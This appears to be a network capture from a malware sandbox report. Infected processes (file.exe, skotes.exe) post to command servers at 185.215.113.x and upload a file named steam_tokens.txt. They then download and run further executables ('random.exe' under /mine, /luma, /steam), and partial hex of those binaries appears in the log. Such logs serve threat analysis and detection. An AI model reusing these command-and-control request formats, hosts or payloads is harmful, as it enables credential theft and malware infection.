Nov 11, 2024 19:52:28.054538012 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file"------IDBGHDGHCGHCAAKFIIEC--
Nov 11, 2024 19:52:28.751766920 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:52:28.789520979 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="message"ybncbhylepme------ECAFHIIJJECGDHIEGDAK--
Nov 11, 2024 19:52:28.994921923 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 11, 2024 19:52:31.063539028 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 2d 2d 0d 0a Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBGIDHCAAKEBAKFIIIEB--
Nov 11, 2024 19:52:31.757910013 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49914	185.215.113.16	80	6608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:52:29.003808975 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 11, 2024 19:52:29.653364897 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: application/octet-stream Content-Length: 3202560 Last-Modified: Mon, 11 Nov 2024 18:42:20 GMT Connection: keep-alive ETag: "6732500c-30de00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@ 1601@Wk0t0 @.rsrc@.idata @ksryljpw0$@jsxaufct00@.taggant00"0@
Nov 11, 2024 19:52:29.653949022 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:52:29.659507990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:52:29.659533024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:52:29.659554005 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:52:29.659564972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H !Hm !V==Z^d1 ulv^%V=YZ^\|/l u.lv^%VuZ^$(L uNlv
Nov 11, 2024 19:52:29.659579039 CET	1236	IN	Data Raw: 25 ef d1 12 91 56 19 f6 39 ad 5a 5e 85 7c 2c 98 dd c8 4c f2 da 20 75 4e ac 6c 1d 76 a8 e1 1e 5e 25 ef d1 12 91 56 19 f6 31 ad 5a 5e 85 e4 2d 98 dd c8 2c f2 da 20 75 ee ad 6c 1d 76 88 e1 1e 5e 25 ef d1 12 91 56 19 f6 49 ad 5a 5e 85 cc 2c 98 dd c8 Data Ascii: %V9Z^\|,L uNlv^%V1Z^-, ulv^%VIZ^, ulvh^%VAZ^* ulvH^%VYZ^L. ulv(^%VQZ^* unlv^%ViZ^/ ulv^%VaZ^7l
Nov 11, 2024 19:52:29.659590006 CET	24	IN	Data Raw: da 20 75 8e bf 6c 1d 76 e8 e5 1e 5e 25 ef d1 12 91 56 09 f6 09 ab 5a 5e Data Ascii: ulv^%VZ^
Nov 11, 2024 19:52:29.660955906 CET	1236	IN	Data Raw: 85 f4 2c 98 dd c8 6c f7 da 20 75 2e bf 6c 1d 76 c8 e4 1e 5e 25 ef d1 12 91 56 15 f6 11 ab 5a 5e 85 80 2b 98 dd c8 4c f7 da 20 75 4e bf 6c 1d 76 a8 e4 1e 5e 25 ef d1 12 91 56 09 f6 25 ab 5a 5e 85 94 29 98 dd c8 2c f7 da 20 75 ee bc 6c 1d 76 88 e4 Data Ascii: ,l u.lv^%VZ^+L uNlv^%V%Z^), ulv^%VMZ^7 ulvh^%VYZ^D2 ulvH^%VQZ^T, ulv(^%VuZ^1 unlv^%VZ^3 ulv
Nov 11, 2024 19:52:29.660968065 CET	1236	IN	Data Raw: 25 ef d1 12 91 56 0d f6 89 b7 5a 5e 85 04 2e 98 dd c8 8c fc da 20 75 8e ce 6c 1d 76 e8 98 1e 5e 25 ef d1 12 91 56 19 f6 95 b7 5a 5e 85 b4 28 98 dd c8 6c fc da 20 75 2e ce 6c 1d 76 c8 9b 1e 5e 25 ef d1 12 91 56 19 f6 ad b7 5a 5e 85 94 30 98 dd c8 Data Ascii: %VZ^. ulv^%VZ^(l u.lv^%VZ^0L uNlv^%VZ^0, ulv^%VZ^T/ ulvh^%VZ^/ ulvH^%V=Z^( ulv(^%VZ^2
Nov 11, 2024 19:52:29.660981894 CET	1236	IN	Data Raw: c1 b7 4a 56 51 6d e9 e8 50 d1 96 e9 c9 b5 53 5a 96 6d e5 5d 2d 33 44 1e 94 2a 89 59 19 20 4d f8 ec fa 1e 76 65 3d 18 5e 53 75 e1 db 99 28 90 18 08 f5 43 76 93 94 1e 5e 53 cd 42 1c d9 20 d1 12 91 7d 90 72 27 b7 ee af 24 e0 92 98 d9 70 d4 58 68 2d Data Ascii: JVQmPSZm]-3DY Mve=^Su(Cv^SB }r'$pXh-Z^63^Sm,Mv!=^[BB ^Z!Y Mvx=^%VZd}r',Xh-Z^,r ZV\z1!(?EZ3DP{a,M ]HZ^q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50118	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:04.425499916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:53:05.096456051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50119	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:06.607193947 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:53:07.259730101 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 35 35 39 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 35 39 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 35 39 38 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 35 39 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1005596001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005597001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005598031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005599001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50120	185.215.113.16	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:07.268218040 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 19:53:07.914282084 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:07 GMT Content-Type: application/octet-stream Content-Length: 3179008 Last-Modified: Mon, 11 Nov 2024 18:41:59 GMT Connection: keep-alive ETag: "67324ff7-308200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 90 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 30 00 00 04 00 00 8b f0 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@00@Th@ @.rsrc@@.idata @jrkfjxta**@lfizkupv0\0@.taggant00"`0@
Nov 11, 2024 19:53:07.914309978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:07.914328098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:07.914346933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:53:07.914361954 CET	1236	IN	Data Raw: cd 68 df 15 90 dd 50 d5 78 e4 43 e3 70 4b 63 5e 4d d0 81 6d c2 36 20 de 06 51 94 93 8f 31 43 66 2c 68 e0 60 f7 34 ac 9f 0d 6e 63 82 58 f4 d4 af 0d 68 19 92 80 15 a2 58 43 5a 60 de 85 e7 52 d3 37 68 6b 82 14 05 0a 89 8c 5e 20 c6 80 eb 5f 49 13 26 Data Ascii: hPxCpKc^Mm6 Q1Cf,h`4ncXhXCZ`R7hk^ _I&!P'k^)Cfd1Co1CVD]1jKP0>mC"^pc0p'00^XIpSnj81Cj9Cf^Jp3T"^2PXRY$Ec
Nov 11, 2024 19:53:07.914376020 CET	1236	IN	Data Raw: 97 ff a1 20 11 6e 73 82 30 16 15 4a 1d 70 73 82 30 70 39 e9 7e e9 a1 20 15 6e 73 82 30 ac 63 82 40 e5 1e 5e 0c ab 63 82 38 e5 a7 38 16 d7 94 6d d2 29 43 96 0c 68 5b 82 0c f4 a2 5d 0f e5 1e 18 0c e4 1e 5e e0 c7 16 31 2e bf aa a2 30 05 a8 a2 30 f1 Data Ascii: ns0Jps0p9~ ns0c@^c88m)Ch[]^1.00?PGm.z`0?#-Y#? ^0iCP7P+C^-_ncnk,H^qCX7{`Pun{c%{ACjOn{,nO7.mq^n{pc
Nov 11, 2024 19:53:07.914393902 CET	1236	IN	Data Raw: 54 6e 63 82 1c 70 53 82 f5 87 16 5e 0c ac 63 82 1c e5 1e 5e 0c 68 09 60 97 19 43 6d 8e 73 16 5e 0c 6e 73 82 1c ce a4 55 0c e4 ac e2 30 83 1f 5e 0c 68 19 63 7e 52 a8 28 96 01 43 e7 ff 75 af ee 9c 75 af ee 9c 6e 73 82 24 6e e1 e7 fc a6 07 77 8f c5 Data Ascii: TncpS^c^h`Cms^nsU0^hc~R(Cuuns$nw.X#mn >bma_Fhm#_'!.>n#+-rab9Cv ZP#^0ppcT!`m>nPLPG]B$QMI"^\DH.4^YCn)Cv^
Nov 11, 2024 19:53:07.914443970 CET	1236	IN	Data Raw: 50 19 79 e1 d2 e3 a2 57 71 58 f5 e9 60 09 47 49 7d 6e f2 e3 de 70 73 82 34 59 85 e9 58 09 23 49 3b 6e 6b 82 10 6e f0 e7 e4 9f ec 2a d9 b1 16 41 ce cf 22 eb 10 f7 ab 62 8c 0e e2 de d7 15 a7 ba 40 40 6d e7 df 6e e9 e9 58 09 23 e3 e7 59 55 54 51 09 Data Ascii: PyWqX`GI}nps4YX#I;nkn*A"b@@mnX#YUTQ'XY&X#.Q7PzUZIuuupkpcbZ8G^uuu'@@ORAX&i\0^hb.Q7PzUI ^\Y!X+f_X/
Nov 11, 2024 19:53:07.914458036 CET	1236	IN	Data Raw: da 0e f5 e9 68 09 2f 97 ea 5b 26 eb 18 ff a7 aa 30 05 58 26 80 08 aa b2 30 e9 ae ee 9c 70 6b 82 20 f4 d4 6a 0d 6d 29 a0 4c 70 6b 82 2c 1e e7 d0 f8 6e 73 82 10 70 73 82 40 72 a3 82 a8 e5 1e 5e 97 59 43 6a 35 ab a8 4e 12 e5 1e 5e 0f 0e ea 5f df 6e Data Ascii: h/[&0X&0pk jm)Lpk,nsps@r^YCj5N^_n{ub00$BpeTQ'j<aWr0#X!$PNgnY("P#$PNn$nUnE9Cv!0DYRb0h[60\|@Y6
Nov 11, 2024 19:53:07.914472103 CET	1236	IN	Data Raw: 0c e5 1f d1 12 70 93 82 1c d0 7b e7 fd a6 08 77 95 a8 e0 49 17 9f 21 5e 0c e5 47 38 90 dd 20 16 0d e5 1e 5e 20 e6 15 25 0d ed 1e 5e 81 f2 2d 14 96 e2 9e a2 0c 6d 6b 72 38 d0 43 6d c2 6e 22 de 50 e5 a6 aa 20 11 a8 4f 8e c6 1f 76 0c e5 9f 57 0d ed Data Ascii: p{wI!^G8 ^ %^-mkr8Cmn"P OvW^-cb9N_/PK^0G1C~=000X77cD00j0__d!;1Cf ;n0^/j0n P'1CB`7m{$^c
Nov 11, 2024 19:53:07.919450045 CET	1120	IN	Data Raw: 9c 75 af ee 9c 6e f0 e7 04 68 18 63 1b 71 a2 5e 0c e5 ab b7 08 6e fe 1f fc e7 65 e1 f3 ec 92 75 cd cc 21 8f de ac 23 6e 3c 15 4f 8e 8f a7 23 97 e3 5a 11 60 dc 0e f0 e7 db 68 1a 7b 7e 3c af ee 9c 75 af ee 9c ac 1f 8e 3c 15 4f 25 4d e9 4e 8e 3c 15 Data Ascii: unhcq^neu!#n<O#Z`h{~<u<O%MN<O<_j<O%/<O%MN<$O<_z<O?[%hWuuj_(%nIMuuuOTQ'Z0u4_)GP ^]% Xhf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50121	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:11.027781010 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005596001&unit=246122658369
Nov 11, 2024 19:53:12.685477018 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50124	185.215.113.16	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:12.692835093 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 19:53:13.331427097 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:13 GMT Content-Type: application/octet-stream Content-Length: 1810944 Last-Modified: Mon, 11 Nov 2024 18:42:12 GMT Connection: keep-alive ETag: "67325004-1ba200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 